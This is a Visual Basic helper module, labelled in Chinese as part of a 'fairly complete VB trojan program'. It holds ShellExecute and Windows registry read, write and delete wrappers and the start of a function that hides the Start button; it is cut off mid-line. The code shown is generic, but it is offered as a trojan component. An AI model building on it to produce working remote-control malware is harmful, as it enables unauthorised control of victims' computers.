modfunction.bas

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

Public Sub PlaySound(strFileName As String)
    sndPlaySound strFileName, 1
End Sub

Function StartDoc(DocName As String) As Long
    Dim Scr_hDC As Long
    Scr_hDC = GetDesktopWindow()
    StartDoc = ShellExecute(Scr_hDC, "Open", DocName, "", "", SW_SHOWNORMAL)
End Function

Public Function ExFile(Filen As String)
    Dim r As Long, msg As String
    r = StartDoc(Filen) ' 改变到这个有效的路径
    If r <= 32 Then
        '这些是错误
        Select Case r
            Case SE_ERR_FNF
                msg = "Cannot find or access the file/folder '" & Filen & "' (or one of its components). Make sure the path and filename are correct and that all required libraries are available - Error number (" & r & ")."
            Case SE_ERR_PNF
                msg = "Cannot find the path '" & Filen & "' (or one of its components). Make sure the path is correct - Error number (" & r & ")."
            Case SE_ERR_ACCESSDENIED
                msg = "Cannot access the file '" & Filen & "' (Access Denied) - Error number (" & r & ")."
            Case SE_ERR_OOM
                msg = "Cannot access the file '" & Filen & " (Out of memory) - Error number (" & r & ")."
            Case SE_ERR_DLLNOTFOUND
                msg = "Cannot access the file '" & Filen & " (One or more of it's components could not be found) - Error number (" & r & ")."
            Case SE_ERR_SHARE
                msg = "Cannot access the file '" & Filen & " (A sharing violation occurred) - Error number (" & r & ")."
            Case SE_ERR_ASSOCINCOMPLETE
                msg = "Cannot access the file '" & Filen & " (Incomplete or invalid file association) - Error number (" & r & ")."
            Case SE_ERR_DDETIMEOUT
                msg = "Cannot access the file '" & Filen & " (DDE Time out) - Error number (" & r & ")."
            Case SE_ERR_DDEFAIL
                msg = "Cannot access the file '" & Filen & " (DDE transaction failed) - Error number (" & r & ")."
            Case SE_ERR_DDEBUSY
                msg = "Cannot access the file '" & Filen & " (DDE busy) - Error number (" & r & ")."
            Case SE_ERR_NOASSOC
                msg = "Cannot access the file '" & Filen & " (No association for file extension) - Error number (" & r & ")."
            Case ERROR_BAD_FORMAT
                msg = "Cannot access the file '" & Filen & " (Invalid EXE file or error in EXE image) - Error number (" & r & ")."
            Case Else
                msg = "Cannot access the file '" & Filen & " (Unknown error) - Error number (" & r & ")."
        End Select
        MsgBox msg, vbCritical, Filen
    End If
End Function

Function SetDWORDValue(SubKey As String, Entry As String, Value As Long)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey) '打开这个键
   If rtn = ERROR_SUCCESS Then
      rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4)
      If Not rtn = ERROR_SUCCESS Then
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
      rtn = RegCloseKey(hKey) '关闭这个键
   Else '如果有一个错误就打开键
      If DisplayErrorMsg = True Then '如果用户想要显示错误
         MsgBox ErrorMsg(rtn) '显示错误
      End If
   End If
End If

End Function
Function GetDWORDValue(SubKey As String, Entry As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey)
   If rtn = ERROR_SUCCESS Then
      rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4)
      If rtn = ERROR_SUCCESS Then
         rtn = RegCloseKey(hKey)
         GetDWORDValue = lBuffer
      Else
         GetDWORDValue = ""
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
   Else
      GetDWORDValue = ""
      If DisplayErrorMsg = True Then
         MsgBox ErrorMsg(rtn)
      End If
   End If
End If

End Function

Function SetBinaryValue(SubKey As String, Entry As String, Value As String)
Dim i
Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey)
   If rtn = ERROR_SUCCESS Then
      lDataSize = Len(Value)
      ReDim ByteArray(lDataSize)
      For i = 1 To lDataSize
      ByteArray(i) = Asc(Mid$(Value, i, 1))
      Next
      rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, ByteArray(1), lDataSize)
      If Not rtn = ERROR_SUCCESS Then
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
      rtn = RegCloseKey(hKey)
   Else
      If DisplayErrorMsg = True Then
         MsgBox ErrorMsg(rtn)
      End If
   End If
End If

End Function

Function GetBinaryValue(SubKey As String, Entry As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey)
   If rtn = ERROR_SUCCESS Then
      lBufferSize = 1
      rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, lBufferSize)
      sBuffer = Space(lBufferSize)
      rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, lBufferSize)
      If rtn = ERROR_SUCCESS Then
         rtn = RegCloseKey(hKey)
         GetBinaryValue = sBuffer
      Else
         GetBinaryValue = ""
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
   Else
      GetBinaryValue = ""
      If DisplayErrorMsg = True Then
         MsgBox ErrorMsg(rtn)
      End If
   End If
End If

End Function

Function DeleteKey(KeyName As String)

Call ParseKey(KeyName, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, KeyName, 0, KEY_WRITE, hKey)
   If rtn = ERROR_SUCCESS Then
      rtn = RegDeleteKey(hKey, KeyName)
      rtn = RegCloseKey(hKey)
   End If
End If

End Function

Function GetMainKeyHandle(MainKeyName As String) As Long

Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
   
Select Case MainKeyName
       Case "HKEY_CLASSES_ROOT"
            GetMainKeyHandle = HKEY_CLASSES_ROOT
       Case "HKEY_CURRENT_USER"
            GetMainKeyHandle = HKEY_CURRENT_USER
       Case "HKEY_LOCAL_MACHINE"
            GetMainKeyHandle = HKEY_LOCAL_MACHINE
       Case "HKEY_USERS"
            GetMainKeyHandle = HKEY_USERS
       Case "HKEY_PERFORMANCE_DATA"
            GetMainKeyHandle = HKEY_PERFORMANCE_DATA
       Case "HKEY_CURRENT_CONFIG"
            GetMainKeyHandle = HKEY_CURRENT_CONFIG
       Case "HKEY_DYN_DATA"
            GetMainKeyHandle = HKEY_DYN_DATA
End Select

End Function

Function ErrorMsg(lErrorCode As Long) As String
    Dim GetErrorMsg

Select Case lErrorCode
       Case 1009, 1015
            GetErrorMsg = "The Registry Database is corrupt!"
       Case 2, 1010
            GetErrorMsg = "Bad Key Name"
       Case 1011
            GetErrorMsg = "Can't Open Key"
       Case 4, 1012
            GetErrorMsg = "Can't Read Key"
       Case 5
            GetErrorMsg = "Access to this key is denied"
       Case 1013
            GetErrorMsg = "Can't Write Key"
       Case 8, 14
            GetErrorMsg = "Out of memory"
       Case 87
            GetErrorMsg = "Invalid Parameter"
       Case 234
            GetErrorMsg = "There is more data than the buffer has been allocated to hold."
       Case Else
            GetErrorMsg = "Undefined Error Code:  " & Str$(lErrorCode)
End Select

End Function

Function GetStringValue(SubKey As String, Entry As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey)
   If rtn = ERROR_SUCCESS Then
      sBuffer = Space(255)
      lBufferSize = Len(sBuffer)
      rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, lBufferSize)
      If rtn = ERROR_SUCCESS Then
         rtn = RegCloseKey(hKey)
         sBuffer = Trim(sBuffer)
         GetStringValue = Left(sBuffer, Len(sBuffer) - 1)
      Else
         GetStringValue = ""
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
   Else
      GetStringValue = ""
      If DisplayErrorMsg = True Then
         MsgBox ErrorMsg(rtn)
      End If
   End If
End If

End Function

Private Sub ParseKey(KeyName As String, Keyhandle As Long)
    
rtn = InStr(KeyName, "\")

If Left(KeyName, 5) <> "HKEY_" Or Right(KeyName, 1) = "\" Then
   MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + KeyName
   Exit Sub
ElseIf rtn = 0 Then
   Keyhandle = GetMainKeyHandle(KeyName)
   KeyName = ""
Else
   Keyhandle = GetMainKeyHandle(Left(KeyName, rtn - 1))
   KeyName = Right(KeyName, Len(KeyName) - rtn)
End If

End Sub

Function CreateKey(SubKey As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegCreateKey(MainKeyHandle, SubKey, hKey)
   If rtn = ERROR_SUCCESS Then
      rtn = RegCloseKey(hKey)
   End If
End If

End Function

Function SetStringValue(SubKey As String, Entry As String, Value As String)

Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then
   rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey)
   If rtn = ERROR_SUCCESS Then
      rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value))
      If Not rtn = ERROR_SUCCESS Then
         If DisplayErrorMsg = True Then
            MsgBox ErrorMsg(rtn)
         End If
      End If
      rtn = RegCloseKey(hKey)
   Else
      If DisplayErrorMsg = True Then
         MsgBox ErrorMsg(rtn)
      End If
   End If
End If

End Function

Public Function HideStartButton()
    Dim Handle As Long, FindClass As Long
    FindClass& = Find